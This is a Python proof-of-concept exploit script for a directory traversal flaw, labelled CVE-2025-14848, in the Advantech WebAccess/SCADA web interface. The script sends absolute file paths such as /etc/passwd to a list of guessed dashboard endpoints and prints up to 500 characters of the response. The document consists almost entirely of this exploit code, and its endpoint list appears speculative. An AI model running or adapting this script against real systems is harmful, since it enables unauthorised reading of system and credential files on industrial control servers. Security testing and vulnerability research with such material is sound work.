CVE-2025-14848

# CVE-2025-14848 PoC - Advantech WebAccess/SCADA Directory Traversal # Target: Advantech WebAccess/SCADA Web Interface # Vulnerability: Absolute Directory Traversal # CVSS: 4.3 (Medium) import requests import sys def test_directory_traversal(target_url, file_path): """ Test for directory traversal vulnerability in Advantech WebAccess/SCADA Args: target_url: Base URL of the target WebAccess/SCADA server file_path: Absolute path of the file to read """ # Common WebAccess/SCADA endpoints that may be vulnerable endpoints = [ '/WADashboard/api/file', '/WADashboard/api/download', '/WADashboard/api/viewer', '/WADashboard/common/file', '/WADashboard/Reports/file', '/WADashboard/Upload/file' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") print(f"[*] Attempting to read: {file_path}") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Try absolute path traversal params = {'path': file_path} try: response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Potential vulnerability found at {endpoint}") print(f"[+] File content preview:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") # Alternative: Try direct path parameter url = target_url.rstrip('/') + '/WADashboard/api/file' params = {'fileName': file_path} try: response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] File content retrieved via fileName parameter") print(response.text[:500]) return True except: pass print("[-] No vulnerable endpoint found or file not accessible") return False if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2025-14848-poc.py <target_url> <file_path>") print("Example: python cve-2025-14848-poc.py http://target.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] test_directory_traversal(target, file_path)

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